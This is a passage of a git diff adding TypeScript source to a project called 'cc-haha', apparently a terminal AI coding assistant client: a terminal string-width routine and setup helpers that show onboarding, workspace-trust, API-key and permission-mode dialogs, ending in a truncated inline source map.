+    for (let i = 0; i < str.length; i++) {
+      const code = str.charCodeAt(i)
+      if (code > 0x1f) {
+        width++
+      }
+    }
+    return width
+  }
+
+  // Strip ANSI if escape character is present
+  if (str.includes('\x1b')) {
+    str = stripAnsi(str)
+    if (str.length === 0) {
+      return 0
+    }
+  }
+
+  // Fast path: simple Unicode (no emoji, variation selectors, or joiners)
+  if (!needsSegmentation(str)) {
+    let width = 0
+    for (const char of str) {
+      const codePoint = char.codePointAt(0)!
+      if (!isZeroWidth(codePoint)) {
+        width += eastAsianWidth(codePoint, { ambiguousAsWide: false })
+      }
+    }
+    return width
+  }
+
+  let width = 0
+
+  for (const { segment: grapheme } of getGraphemeSegmenter().segment(str)) {
+    // Check for emoji first (most emoji sequences are width 2)
+    EMOJI_REGEX.lastIndex = 0
+    if (EMOJI_REGEX.test(grapheme)) {
+      width += getEmojiWidth(grapheme)
+      continue
+    }
+
+    // Calculate width for non-emoji graphemes
+    // For grapheme clusters (like Devanagari conjuncts with virama+ZWJ), only count
+    // the first non-zero-width character's width since the cluster renders as one glyph
+    for (const char of grapheme) {
+      const codePoint = char.codePointAt(0)!
+      if (!isZeroWidth(codePoint)) {
+        width += eastAsianWidth(codePoint, { ambiguousAsWide: false })
+        break
+      }
+    }
+  }
+
+  return width
+}
+
+function needsSegmentation(str: string): boolean {
+  for (const char of str) {
+    const cp = char.codePointAt(0)!
+    // Emoji ranges
+    if (cp >= 0x1f300 && cp <= 0x1faff) return true
+    if (cp >= 0x2600 && cp <= 0x27bf) return true
+    if (cp >= 0x1f1e6 && cp <= 0x1f1ff) return true
+    // Variation selectors, ZWJ
+    if (cp >= 0xfe00 && cp <= 0xfe0f) return true
+    if (cp === 0x200d) return true
+  }
+  return false
+}
+
+function getEmojiWidth(grapheme: string): number {
+  // Regional indicators: single = 1, pair = 2
+  const first = grapheme.codePointAt(0)!
+  if (first >= 0x1f1e6 && first <= 0x1f1ff) {
+    let count = 0
+    for (const _ of grapheme) count++
+    return count === 1 ? 1 : 2
+  }
+
+  // Incomplete keycap: digit/symbol + VS16 without U+20E3
+  if (grapheme.length === 2) {
+    const second = grapheme.codePointAt(1)
+    if (
+      second === 0xfe0f &&
+      ((first >= 0x30 && first <= 0x39) || first === 0x23 || first === 0x2a)
+    ) {
+      return 1
+    }
+  }
+
+  return 2
+}
+
+function isZeroWidth(codePoint: number): boolean {
+  // Fast path for common printable range
+  if (codePoint >= 0x20 && codePoint < 0x7f) return false
+  if (codePoint >= 0xa0 && codePoint < 0x0300) return codePoint === 0x00ad
+
+  // Control characters
+  if (codePoint <= 0x1f || (codePoint >= 0x7f && codePoint <= 0x9f)) return true
+
+  // Zero-width and invisible characters
+  if (
+    (codePoint >= 0x200b && codePoint <= 0x200d) || // ZW space/joiner
+    codePoint === 0xfeff || // BOM
+    (codePoint >= 0x2060 && codePoint <= 0x2064) // Word joiner etc.
+  ) {
+    return true
+  }
+
+  // Variation selectors
+  if (
+    (codePoint >= 0xfe00 && codePoint <= 0xfe0f) ||
+    (codePoint >= 0xe0100 && codePoint <= 0xe01ef)
+  ) {
+    return true
+  }
+
+  // Combining diacritical marks
+  if (
+    (codePoint >= 0x0300 && codePoint <= 0x036f) ||
+    (codePoint >= 0x1ab0 && codePoint <= 0x1aff) ||
+    (codePoint >= 0x1dc0 && codePoint <= 0x1dff) ||
+    (codePoint >= 0x20d0 && codePoint <= 0x20ff) ||
+    (codePoint >= 0xfe20 && codePoint <= 0xfe2f)
+  ) {
+    return true
+  }
+
+  // Indic script combining marks (covers Devanagari through Malayalam)
+  if (codePoint >= 0x0900 && codePoint <= 0x0d4f) {
+    // Signs and vowel marks at start of each script block
+    const offset = codePoint & 0x7f
+    if (offset <= 0x03) return true // Signs at block start
+    if (offset >= 0x3a && offset <= 0x4f) return true // Vowel signs, virama
+    if (offset >= 0x51 && offset <= 0x57) return true // Stress signs
+    if (offset >= 0x62 && offset <= 0x63) return true // Vowel signs
+  }
+
+  // Thai/Lao combining marks
+  // Note: U+0E32 (SARA AA), U+0E33 (SARA AM), U+0EB2, U+0EB3 are spacing vowels (width 1), not combining marks
+  if (
+    codePoint === 0x0e31 || // Thai MAI HAN-AKAT
+    (codePoint >= 0x0e34 && codePoint <= 0x0e3a) || // Thai vowel signs (skip U+0E32, U+0E33)
+    (codePoint >= 0x0e47 && codePoint <= 0x0e4e) || // Thai vowel signs and marks
+    codePoint === 0x0eb1 || // Lao MAI KAN
+    (codePoint >= 0x0eb4 && codePoint <= 0x0ebc) || // Lao vowel signs (skip U+0EB2, U+0EB3)
+    (codePoint >= 0x0ec8 && codePoint <= 0x0ecd) // Lao tone marks
+  ) {
+    return true
+  }
+
+  // Arabic formatting
+  if (
+    (codePoint >= 0x0600 && codePoint <= 0x0605) ||
+    codePoint === 0x06dd ||
+    codePoint === 0x070f ||
+    codePoint === 0x08e2
+  ) {
+    return true
+  }
+
+  // Surrogates, tag characters
+  if (codePoint >= 0xd800 && codePoint <= 0xdfff) return true
+  if (codePoint >= 0xe0000 && codePoint <= 0xe007f) return true
+
+  return false
+}
+
+// Note: complex-script graphemes like Devanagari क्ष (ka+virama+ZWJ+ssa) render
+// as a single ligature glyph but occupy 2 terminal cells (wcwidth sums the base
+// consonants). Bun.stringWidth=2 matches terminal cell allocation, which is what
+// we need for cursor positioning — the JS fallback's grapheme-cluster width of 1
+// would desync Ink's layout from the terminal.
+//
+// Bun.stringWidth is resolved once at module scope rather than checked on every
+// call — typeof guards deopt property access and this is a hot path (~100k calls/frame).
+const bunStringWidth =
+  typeof Bun !== 'undefined' && typeof Bun.stringWidth === 'function'
+    ? Bun.stringWidth
+    : null
+
+const BUN_STRING_WIDTH_OPTS = { ambiguousIsNarrow: true } as const
+
+export const stringWidth: (str: string) => number = bunStringWidth
+  ? str => bunStringWidth(str, BUN_STRING_WIDTH_OPTS)
+  : stringWidthJavaScript
diff --git a/cc-haha/src/interactiveHelpers.tsx b/cc-haha/src/interactiveHelpers.tsx
new file mode 100644
index 0000000..b88dbbf
--- /dev/null
+++ b/cc-haha/src/interactiveHelpers.tsx
@@ -0,0 +1,366 @@
+import { feature } from 'bun:bundle';
+import { appendFileSync } from 'fs';
+import React from 'react';
+import { logEvent } from 'src/services/analytics/index.js';
+import { gracefulShutdown, gracefulShutdownSync } from 'src/utils/gracefulShutdown.js';
+import { type ChannelEntry, getAllowedChannels, setAllowedChannels, setHasDevChannels, setSessionTrustAccepted, setStatsStore } from './bootstrap/state.js';
+import type { Command } from './commands.js';
+import { createStatsStore, type StatsStore } from './context/stats.js';
+import { getSystemContext } from './context.js';
+import { initializeTelemetryAfterTrust } from './entrypoints/init.js';
+import { isSynchronizedOutputSupported } from './ink/terminal.js';
+import type { RenderOptions, Root, TextProps } from './ink.js';
+import { KeybindingSetup } from './keybindings/KeybindingProviderSetup.js';
+import { startDeferredPrefetches } from './main.js';
+import { checkGate_CACHED_OR_BLOCKING, initializeGrowthBook, resetGrowthBook } from './services/analytics/growthbook.js';
+import { isQualifiedForGrove } from './services/api/grove.js';
+import { handleMcpjsonServerApprovals } from './services/mcpServerApproval.js';
+import { AppStateProvider } from './state/AppState.js';
+import { onChangeAppState } from './state/onChangeAppState.js';
+import { normalizeApiKeyForConfig } from './utils/authPortable.js';
+import { getExternalClaudeMdIncludes, getMemoryFiles, shouldShowClaudeMdExternalIncludesWarning } from './utils/claudemd.js';
+import { checkHasTrustDialogAccepted, getCustomApiKeyStatus, getGlobalConfig, saveGlobalConfig } from './utils/config.js';
+import { updateDeepLinkTerminalPreference } from './utils/deepLink/terminalPreference.js';
+import { isEnvTruthy, isRunningOnHomespace } from './utils/envUtils.js';
+import { type FpsMetrics, FpsTracker } from './utils/fpsTracker.js';
+import { updateGithubRepoPathMapping } from './utils/githubRepoPathMapping.js';
+import { applyConfigEnvironmentVariables } from './utils/managedEnv.js';
+import type { PermissionMode } from './utils/permissions/PermissionMode.js';
+import { getBaseRenderOptions } from './utils/renderOptions.js';
+import { getSettingsWithAllErrors } from './utils/settings/allErrors.js';
+import { hasAutoModeOptIn, hasSkipDangerousModePermissionPrompt } from './utils/settings/settings.js';
+export function completeOnboarding(): void {
+  saveGlobalConfig(current => ({
+    ...current,
+    hasCompletedOnboarding: true,
+    lastOnboardingVersion: MACRO.VERSION
+  }));
+}
+export function showDialog<T = void>(root: Root, renderer: (done: (result: T) => void) => React.ReactNode): Promise<T> {
+  return new Promise<T>(resolve => {
+    const done = (result: T): void => void resolve(result);
+    root.render(renderer(done));
+  });
+}
+
+/**
+ * Render an error message through Ink, then unmount and exit.
+ * Use this for fatal errors after the Ink root has been created —
+ * console.error is swallowed by Ink's patchConsole, so we render
+ * through the React tree instead.
+ */
+export async function exitWithError(root: Root, message: string, beforeExit?: () => Promise<void>): Promise<never> {
+  return exitWithMessage(root, message, {
+    color: 'error',
+    beforeExit
+  });
+}
+
+/**
+ * Render a message through Ink, then unmount and exit.
+ * Use this for messages after the Ink root has been created —
+ * console output is swallowed by Ink's patchConsole, so we render
+ * through the React tree instead.
+ */
+export async function exitWithMessage(root: Root, message: string, options?: {
+  color?: TextProps['color'];
+  exitCode?: number;
+  beforeExit?: () => Promise<void>;
+}): Promise<never> {
+  const {
+    Text
+  } = await import('./ink.js');
+  const color = options?.color;
+  const exitCode = options?.exitCode ?? 1;
+  root.render(color ? <Text color={color}>{message}</Text> : <Text>{message}</Text>);
+  root.unmount();
+  await options?.beforeExit?.();
+  // eslint-disable-next-line custom-rules/no-process-exit -- exit after Ink unmount
+  process.exit(exitCode);
+}
+
+/**
+ * Show a setup dialog wrapped in AppStateProvider + KeybindingSetup.
+ * Reduces boilerplate in showSetupScreens() where every dialog needs these wrappers.
+ */
+export function showSetupDialog<T = void>(root: Root, renderer: (done: (result: T) => void) => React.ReactNode, options?: {
+  onChangeAppState?: typeof onChangeAppState;
+}): Promise<T> {
+  return showDialog<T>(root, done => <AppStateProvider onChangeAppState={options?.onChangeAppState}>
+      <KeybindingSetup>{renderer(done)}</KeybindingSetup>
+    </AppStateProvider>);
+}
+
+/**
+ * Render the main UI into the root and wait for it to exit.
+ * Handles the common epilogue: start deferred prefetches, wait for exit, graceful shutdown.
+ */
+export async function renderAndRun(root: Root, element: React.ReactNode): Promise<void> {
+  root.render(element);
+  startDeferredPrefetches();
+  await root.waitUntilExit();
+  await gracefulShutdown(0);
+}
+export async function showSetupScreens(root: Root, permissionMode: PermissionMode, allowDangerouslySkipPermissions: boolean, commands?: Command[], claudeInChrome?: boolean, devChannels?: ChannelEntry[]): Promise<boolean> {
+  if ("production" === 'test' || isEnvTruthy(false) || process.env.IS_DEMO // Skip onboarding in demo mode
+  ) {
+    return false;
+  }
+  const config = getGlobalConfig();
+  let onboardingShown = false;
+  if (!config.theme || !config.hasCompletedOnboarding // always show onboarding at least once
+  ) {
+    onboardingShown = true;
+    const {
+      Onboarding
+    } = await import('./components/Onboarding.js');
+    await showSetupDialog(root, done => <Onboarding onDone={() => {
+      completeOnboarding();
+      void done();
+    }} />, {
+      onChangeAppState
+    });
+  }
+
+  // Always show the trust dialog in interactive sessions, regardless of permission mode.
+  // The trust dialog is the workspace trust boundary — it warns about untrusted repos
+  // and checks CLAUDE.md external includes. bypassPermissions mode
+  // only affects tool execution permissions, not workspace trust.
+  // Note: non-interactive sessions (CI/CD with -p) never reach showSetupScreens at all.
+  // Skip permission checks in claubbit
+  if (!isEnvTruthy(process.env.CLAUBBIT)) {
+    // Fast-path: skip TrustDialog import+render when CWD is already trusted.
+    // If it returns true, the TrustDialog would auto-resolve regardless of
+    // security features, so we can skip the dynamic import and render cycle.
+    if (!checkHasTrustDialogAccepted()) {
+      const {
+        TrustDialog
+      } = await import('./components/TrustDialog/TrustDialog.js');
+      await showSetupDialog(root, done => <TrustDialog commands={commands} onDone={done} />);
+    }
+
+    // Signal that trust has been verified for this session.
+    // GrowthBook checks this to decide whether to include auth headers.
+    setSessionTrustAccepted(true);
+
+    // Reset and reinitialize GrowthBook after trust is established.
+    // Defense for login/logout: clears any prior client so the next init
+    // picks up fresh auth headers.
+    resetGrowthBook();
+    void initializeGrowthBook();
+
+    // Now that trust is established, prefetch system context if it wasn't already
+    void getSystemContext();
+
+    // If settings are valid, check for any mcp.json servers that need approval
+    const {
+      errors: allErrors
+    } = getSettingsWithAllErrors();
+    if (allErrors.length === 0) {
+      await handleMcpjsonServerApprovals(root);
+    }
+
+    // Check for claude.md includes that need approval
+    if (await shouldShowClaudeMdExternalIncludesWarning()) {
+      const externalIncludes = getExternalClaudeMdIncludes(await getMemoryFiles(true));
+      const {
+        ClaudeMdExternalIncludesDialog
+      } = await import('./components/ClaudeMdExternalIncludesDialog.js');
+      await showSetupDialog(root, done => <ClaudeMdExternalIncludesDialog onDone={done} isStandaloneDialog externalIncludes={externalIncludes} />);
+    }
+  }
+
+  // Track current repo path for teleport directory switching (fire-and-forget)
+  // This must happen AFTER trust to prevent untrusted directories from poisoning the mapping
+  void updateGithubRepoPathMapping();
+  if (feature('LODESTONE')) {
+    updateDeepLinkTerminalPreference();
+  }
+
+  // Apply full environment variables after trust dialog is accepted OR in bypass mode
+  // In bypass mode (CI/CD, automation), we trust the environment so apply all variables
+  // In normal mode, this happens after the trust dialog is accepted
+  // This includes potentially dangerous environment variables from untrusted sources
+  applyConfigEnvironmentVariables();
+
+  // Initialize telemetry after env vars are applied so OTEL endpoint env vars and
+  // otelHeadersHelper (which requires trust to execute) are available.
+  // Defer to next tick so the OTel dynamic import resolves after first render
+  // instead of during the pre-render microtask queue.
+  setImmediate(() => initializeTelemetryAfterTrust());
+  if (await isQualifiedForGrove()) {
+    const {
+      GroveDialog
+    } = await import('src/components/grove/Grove.js');
+    const decision = await showSetupDialog<string>(root, done => <GroveDialog showIfAlreadyViewed={false} location={onboardingShown ? 'onboarding' : 'policy_update_modal'} onDone={done} />);
+    if (decision === 'escape') {
+      logEvent('tengu_grove_policy_exited', {});
+      gracefulShutdownSync(0);
+      return false;
+    }
+  }
+
+  // Check for custom API key
+  // On homespace, ANTHROPIC_API_KEY is preserved in process.env for child
+  // processes but ignored by Claude Code itself (see auth.ts).
+  if (process.env.ANTHROPIC_API_KEY && !isRunningOnHomespace()) {
+    const customApiKeyTruncated = normalizeApiKeyForConfig(process.env.ANTHROPIC_API_KEY);
+    const keyStatus = getCustomApiKeyStatus(customApiKeyTruncated);
+    if (keyStatus === 'new') {
+      const {
+        ApproveApiKey
+      } = await import('./components/ApproveApiKey.js');
+      await showSetupDialog<boolean>(root, done => <ApproveApiKey customApiKeyTruncated={customApiKeyTruncated} onDone={done} />, {
+        onChangeAppState
+      });
+    }
+  }
+  if ((permissionMode === 'bypassPermissions' || allowDangerouslySkipPermissions) && !hasSkipDangerousModePermissionPrompt()) {
+    const {
+      BypassPermissionsModeDialog
+    } = await import('./components/BypassPermissionsModeDialog.js');
+    await showSetupDialog(root, done => <BypassPermissionsModeDialog onAccept={done} />);
+  }
+  if (feature('TRANSCRIPT_CLASSIFIER')) {
+    // Only show the opt-in dialog if auto mode actually resolved — if the
+    // gate denied it (org not allowlisted, settings disabled), showing
+    // consent for an unavailable feature is pointless. The
+    // verifyAutoModeGateAccess notification will explain why instead.
+    if (permissionMode === 'auto' && !hasAutoModeOptIn()) {
+      const {
+        AutoModeOptInDialog
+      } = await import('./components/AutoModeOptInDialog.js');
+      await showSetupDialog(root, done => <AutoModeOptInDialog onAccept={done} onDecline={() => gracefulShutdownSync(1)} declineExits />);
+    }
+  }
+
+  // --dangerously-load-development-channels confirmation. On accept, append
+  // dev channels to any --channels list already set in main.tsx. Org policy
+  // is NOT bypassed — gateChannelServer() still runs; this flag only exists
+  // to sidestep the --channels approved-server allowlist.
+  if (feature('KAIROS') || feature('KAIROS_CHANNELS')) {
+    // gateChannelServer and ChannelsNotice read tengu_harbor after this
+    // function returns. A cold disk cache (fresh install, or first run after
+    // the flag was added server-side) defaults to false and silently drops
+    // channel notifications for the whole session — gh#37026.
+    // checkGate_CACHED_OR_BLOCKING returns immediately if disk already says
+    // true; only blocks on a cold/stale-false cache (awaits the same memoized
+    // initializeGrowthBook promise fired earlier). Also warms the
+    // isChannelsEnabled() check in the dev-channels dialog below.
+    if (getAllowedChannels().length > 0 || (devChannels?.length ?? 0) > 0) {
+      await checkGate_CACHED_OR_BLOCKING('tengu_harbor');
+    }
+    if (devChannels && devChannels.length > 0) {
+      const [{
+        isChannelsEnabled
+      }, {
+        getClaudeAIOAuthTokens
+      }] = await Promise.all([import('./services/mcp/channelAllowlist.js'), import('./utils/auth.js')]);
+      // Skip the dialog when channels are blocked (tengu_harbor off or no
+      // OAuth) — accepting then immediately seeing "not available" in
+      // ChannelsNotice is worse than no dialog. Append entries anyway so
+      // ChannelsNotice renders the blocked branch with the dev entries
+      // named. dev:true here is for the flag label in ChannelsNotice
+      // (hasNonDev check); the allowlist bypass it also grants is moot
+      // since the gate blocks upstream.
+      if (!isChannelsEnabled() || !getClaudeAIOAuthTokens()?.accessToken) {
+        setAllowedChannels([...getAllowedChannels(), ...devChannels.map(c => ({
+          ...c,
+          dev: true
+        }))]);
+        setHasDevChannels(true);
+      } else {
+        const {
+          DevChannelsDialog
+        } = await import('./components/DevChannelsDialog.js');
+        await showSetupDialog(root, done => <DevChannelsDialog channels={devChannels} onAccept={() => {
+          // Mark dev entries per-entry so the allowlist bypass doesn't leak
+          // to --channels entries when both flags are passed.
+          setAllowedChannels([...getAllowedChannels(), ...devChannels.map(c => ({
+            ...c,
+            dev: true
+          }))]);
+          setHasDevChannels(true);
+          void done();
+        }} />);
+      }
+    }
+  }
+
+  // Show Chrome onboarding for first-time Claude in Chrome users
+  if (claudeInChrome && !getGlobalConfig().hasCompletedClaudeInChromeOnboarding) {
+    const {
+      ClaudeInChromeOnboarding
+    } = await import('./components/ClaudeInChromeOnboarding.js');
+    await showSetupDialog(root, done => <ClaudeInChromeOnboarding onDone={done} />);
+  }
+  return onboardingShown;
+}
+export function getRenderContext(exitOnCtrlC: boolean): {
+  renderOptions: RenderOptions;
+  getFpsMetrics: () => FpsMetrics | undefined;
+  stats: StatsStore;
+} {
+  let lastFlickerTime = 0;
+  const baseOptions = getBaseRenderOptions(exitOnCtrlC);
+
+  // Log analytics event when stdin override is active
+  if (baseOptions.stdin) {
+    logEvent('tengu_stdin_interactive', {});
+  }
+  const fpsTracker = new FpsTracker();
+  const stats = createStatsStore();
+  setStatsStore(stats);
+
+  // Bench mode: when set, append per-frame phase timings as JSONL for
+  // offline analysis by bench/repl-scroll.ts. Captures the full TUI
+  // render pipeline (yoga → screen buffer → diff → optimize → stdout)
+  // so perf work on any phase can be validated against real user flows.
+  const frameTimingLogPath = process.env.CLAUDE_CODE_FRAME_TIMING_LOG;
+  return {
+    getFpsMetrics: () => fpsTracker.getMetrics(),
+    stats,
+    renderOptions: {
+      ...baseOptions,
+      onFrame: event => {
+        fpsTracker.record(event.durationMs);
+        stats.observe('frame_duration_ms', event.durationMs);
+        if (frameTimingLogPath && event.phases) {
+          // Bench-only env-var-gated path: sync write so no frames dropped
+          // on abrupt exit. ~100 bytes at ≤60fps is negligible. rss/cpu are
+          // single syscalls; cpu is cumulative — bench side computes delta.
+          const line =
+          // eslint-disable-next-line custom-rules/no-direct-json-operations -- tiny object, hot bench path
+          JSON.stringify({
+            total: event.durationMs,
+            ...event.phases,
+            rss: process.memoryUsage.rss(),
+            cpu: process.cpuUsage()
+          }) + '\n';
+          // eslint-disable-next-line custom-rules/no-sync-fs -- bench-only, sync so no frames dropped on exit
+          appendFileSync(frameTimingLogPath, line);
+        }
+        // Skip flicker reporting for terminals with synchronized output —
+        // DEC 2026 buffers between BSU/ESU so clear+redraw is atomic.
+        if (isSynchronizedOutputSupported()) {
+          return;
+        }
+        for (const flicker of event.flickers) {
+          if (flicker.reason === 'resize') {
+            continue;
+          }
+          const now = Date.now();
+          if (now - lastFlickerTime < 1000) {
+            logEvent('tengu_flicker', {
+              desiredHeight: flicker.desiredHeight,
+              actualHeight: flicker.availableHeight,
+              reason: flicker.reason
+            } as unknown as Record<string, boolean | number | undefined>);
+          }
+          lastFlickerTime = now;
+        }
+      }
+    }
+  };
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmZWF0dXJlIiwiYXBwZW5kRmlsZVN5bmMiLCJSZWFjdCIsImxvZ0V2ZW50IiwiZ3JhY2VmdWxTaHV0ZG93biIsImdyYWNlZnVsU2h1dGRvd25TeW5jIiwiQ2hhbm5lbEVudHJ5IiwiZ2V0QWxsb3dlZENoYW5uZWxzIiwic2V0QWxsb3dlZENoYW5uZWxzIiwic2V0SGFzRGV2Q2hhbm5lbHMiLCJzZXRTZXNzaW9uVHJ1c3RBY2NlcHRlZCIsInNldFN0YXRzU3RvcmUiLCJDb21tYW5kIiwiY3JlYXRlU3RhdHNTdG9yZSIsIlN0YXRzU3RvcmUiLCJnZXRTeXN0ZW1Db250ZXh0IiwiaW5pdGlhbGl6ZVRlbGVtZXRyeUFmdGVyVHJ1c3QiLCJpc1N5bmNocm9uaXplZE91dHB1dFN1cHBvcnRlZCIsIlJlbmRlck9wdGlvbnMiLCJSb290IiwiVGV4dFByb3BzIiwiS2V5YmluZGluZ1NldHVwIiwic3RhcnREZWZlcnJlZFByZWZldGNoZXMiLCJjaGVja0dhdGVfQ0FDSEVEX09SX0JMT0NLSU5HIiwiaW5pdGlhbGl6ZUdyb3d0aEJvb2siLCJyZXNldEdyb3d0aEJvb2siLCJpc1F1YWxpZmllZEZvckdyb3ZlIiwiaGFuZGxlTWNwanNvblNlcnZlckFwcHJvdmFscyIsIkFwcFN0YXRlUHJvdmlkZXIiLCJvbkNoYW5nZUFwcFN0YXRlIiwibm9ybWFsaXplQXBpS2V5Rm9yQ29uZmlnIiwiZ2V0RXh0ZXJuYWxDbGF1ZGVNZEluY2x1ZGVzIiwiZ2V0TWVtb3J5RmlsZXMiLCJzaG91bGRTaG93Q2xhdWRlTWRFeHRlcm5hbEluY2x1ZGVzV2FybmluZyIsImNoZWNrSGFzVHJ1c3REaWFsb2dBY2NlcHRlZCIsImdldEN1c3RvbUFwaUtleVN0YXR1cyIsImdldEdsb2JhbENvbmZpZyIsInNhdmVHbG9iYWxDb25maWciLCJ1cGRhdGVEZWVwTGlua1Rlcm1pbmFsUHJlZmVyZW5jZSIsImlzRW52VHJ1dGh5IiwiaXNSdW5uaW5nT25Ib21lc3BhY2UiLCJGcHNNZXRyaWNzIiwiRnBzVHJhY2tlciIsInVwZGF0ZUdpdGh1YlJlcG9QYXRoTWFwcGluZyIsImFwcGx5Q29uZmlnRW52aXJvbm1lbnRWYXJpYWJsZXMiLCJQZXJtaXNzaW9uTW9kZSIsImdldEJhc2VSZW5kZXJPcHRpb25zIiwiZ2V0U2V0dGluZ3NXaXRoQWxsRXJyb3JzIiwiaGFzQXV0b01vZGVPcHRJbiIsImhhc1NraXBEYW5nZXJvdXNNb2RlUGVybWlzc2lvblByb21wdCIsImNvbXBsZXRlT25ib2FyZGluZyIsImN1cnJlbnQiLCJoYXNDb21wbGV0ZWRPbmJvYXJkaW5nIiwibGFzdE9uYm9hcmRpbmdWZXJzaW9uIiwiTUFDUk8iLCJWRVJTSU9OIiwic2hvd0RpYWxvZyIsInJvb3QiLCJyZW5kZXJlciIsImRvbmUiLCJyZXN1bHQiLCJUIiwiUmVhY3ROb2RlIiwiUHJvbWlzZSIsInJlc29sdmUiLCJyZW5kZXIiLCJleGl0V2l0aEVycm9yIiwibWVzc2FnZSIsImJlZm9yZUV4aXQiLCJleGl0V2l0aE1lc3NhZ2UiLCJjb2xvciIsIm9wdGlvbnMiLCJleGl0Q29kZSIsIlRleHQiLCJ1bm1vdW50IiwicHJvY2VzcyIsImV4aXQiLCJzaG93U2V0dXBEaWFsb2ciLCJyZW5kZXJBbmRSdW4iLCJlbGVtZW50Iiwid2FpdFVudGlsRXhpdCIsInNob3dTZXR1cFNjcmVlbnMiLCJwZXJtaXNzaW9uTW9kZSIsImFsbG93RGFuZ2Vyb3VzbHlTa2lwUGVybWlzc2lvbnMiLCJjb21tYW5kcyIsImNsYXVkZUluQ2hyb21lIiwiZGV2Q2hhbm5lbHMiLCJlbnYiLCJJU19ERU1PIiwiY29uZmlnIiwib25ib2FyZGluZ1Nob3duIiwidGhlbWUiLCJPbmJvYXJkaW5nIiwiQ0xBVUJCSVQiLCJUcnVzdERpYWxvZyIsImVycm9ycyIsImFsbEVycm9ycyIsImxlbmd0aCIsImV4dGVybmFsSW5jbHVkZXMiLCJDbGF1ZGVNZEV4dGVybmFsSW5jbHVkZXNEaWFsb2ciLCJzZXRJbW1lZGlhdGUiLCJHcm92ZURpYWxvZyIsImRlY2lzaW9uIiwiQU5USFJPUElDX0FQSV9LRVkiLCJjdXN0b21BcGlLZXlUcnVuY2F0ZWQiLCJrZXlTdGF0dXMiLCJBcHByb3ZlQXBpS2V5IiwiQnlwYXNzUGVybWlzc2lvbnNNb2RlRGlhbG9nIiwiQXV0b01vZGVPcHRJbkRpYWxvZyIsImlzQ2hhbm5lbHNFbmFibGVkIiwiZ2V0Q2xhdWRlQUlPQXV0aFRva2VucyIsImFsbCIsImFjY2Vzc1Rva2VuIiwibWFwIiwiYyIsImRldiIsIkRldkNoYW5uZWxzRGlhbG9nIiwiaGFzQ29tcGxldGVkQ2xhdWRlSW5DaHJvbWVPbmJvYXJkaW5nIiwiQ2xhdWRlSW5DaHJvbWVPbmJvYXJkaW5nIiwiZ2V0UmVuZGVyQ29udGV4dCIsImV4aXRPbkN0cmxDIiwicmVuZGVyT3B0aW9ucyIsImdldEZwc01ldHJpY3MiLCJzdGF0cyIsImxhc3RGbGlja2VyVGltZSIsImJhc2VPcHRpb25zIiwic3RkaW4iLCJmcHNUcmFja2VyIiwiZnJhbWVUaW1pbmdMb2dQYXRoIiwiQ0xBVURFX0NPREVfRlJBTUVfVElNSU5HX0xPRyIsImdldE1ldHJpY3MiLCJvbkZyYW1lIiwiZXZlbnQiLCJyZWNvcmQiLCJkdXJhdGlvbk1zIiwib2JzZXJ2ZSIsInBoYXNlcyIsImxpbmUiLCJKU09OIiwic3RyaW5naWZ5IiwidG90YWwiLCJyc3MiLCJtZW1vcnlVc2FnZSIsImNwdSIsImNwdVVzYWdlIiwiZmxpY2tlciIsImZsaWNrZXJzIiwicmVhc29uIiwibm93IiwiRGF0ZSIsImRlc2lyZWRIZWlnaHQiLCJhY3R1YWxIZWlnaHQiLCJhdmFpbGFibGVIZWlnaHQiLCJSZWNvcmQiXSwic291cmNlcyI6WyJpbnRlcmFjdGl2ZUhlbHBlcnMudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB7IGZlYXR1cmUgfSBmcm9tICdidW46YnVuZGxlJ1xuaW1wb3J0IHsgYXBwZW5kRmlsZVN5bmMgfSBmcm9tICdmcydcbmltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IGxvZ0V2ZW50IH0gZnJvbSAnc3JjL3NlcnZpY2VzL2FuYWx5dGljcy9pbmRleC5qcydcbmltcG9ydCB7XG4gIGdyYWNlZnVsU2h1dGRvd24sXG4gIGdyYWNlZnVsU2h1dGRvd25TeW5jLFxufSBmcm9tICdzcmMvdXRpbHMvZ3JhY2VmdWxTaHV0ZG93bi5qcydcbmltcG9ydCB7XG4gIHR5cGUgQ2hhbm5lbEVudHJ5LFxuICBnZXRBbGxvd2VkQ2hhbm5lbHMsXG4gIHNldEFsbG93ZWRDaGFubmVscyxcbiAgc2V0SGFzRGV2Q2hhbm5lbHMsXG4gIHNldFNlc3Npb25UcnVzdEFjY2VwdGVkLFxuICBzZXRTdGF0c1N0b3JlLFxufSBmcm9tICcuL2Jvb3RzdHJhcC9zdGF0ZS5qcydcbmltcG9ydCB0eXBlIHsgQ29tbWFuZCB9IGZyb20gJy4vY29tbWFuZHMuanMnXG5pbXBvcnQgeyBjcmVhdGVTdGF0c1N0b3JlLCB0eXBlIFN0YXRzU3RvcmUgfSBmcm9tICcuL2NvbnRleHQvc3RhdHMuanMnXG5pbXBvcnQgeyBnZXRTeXN0ZW1Db250ZXh0IH0gZnJvbSAnLi9jb250ZXh0LmpzJ1xuaW1wb3J0IHsgaW5pdGlhbGl6ZVRlbGVtZXRyeUFmdGVyVHJ1c3QgfSBmcm9tICcuL2VudHJ5cG9pbnRzL2luaXQuanMnXG5pbXBvcnQgeyBpc1N5bmNocm9uaXplZE91dHB1dFN1cHBvcnRlZCB9IGZyb20gJy4vaW5rL3Rlcm1pbmFsLmpzJ1xuaW1wb3J0IHR5cGUgeyBSZW5kZXJPcHRpb25zLCBSb290LCBUZXh0UHJvcHMgfSBmcm9tICcuL2luay5qcydcbmltcG9ydCB7IEtleWJpbmRpbmdTZXR1cCB9IGZyb20gJy4va2V5YmluZGluZ3MvS2V5YmluZGluZ1Byb3ZpZGVyU2V0dXAuanMnXG5pbXBvcnQgeyBzdGFydERlZmVycmVkUHJlZmV0Y2hlcyB9IGZyb20gJy4vbWFpbi5qcydcbmltcG9ydCB7XG4gIGNoZWNrR2F0ZV9DQUNIRURfT1JfQkxPQ0tJTkcsXG4gIGluaXRpYWxpemVHcm93dGhCb29rLFxuICByZXNldEdyb3d0aEJvb2ssXG59IGZyb20gJy4vc2VydmljZXMvYW5hbHl0aWNzL2dyb3d0aGJvb2suanMnXG5pbXBvcnQgeyBpc1F1YWxpZmllZEZvckdyb3ZlIH0gZnJvbSAnLi9zZXJ2aWNlcy9hcGkvZ3JvdmUuanMnXG5pbXBvcnQgeyBoYW5kbGVNY3Bqc29uU2VydmVyQXBwcm92YWxzIH0gZnJvbSAnLi9zZXJ2aWNlcy9tY3BTZXJ2ZXJBc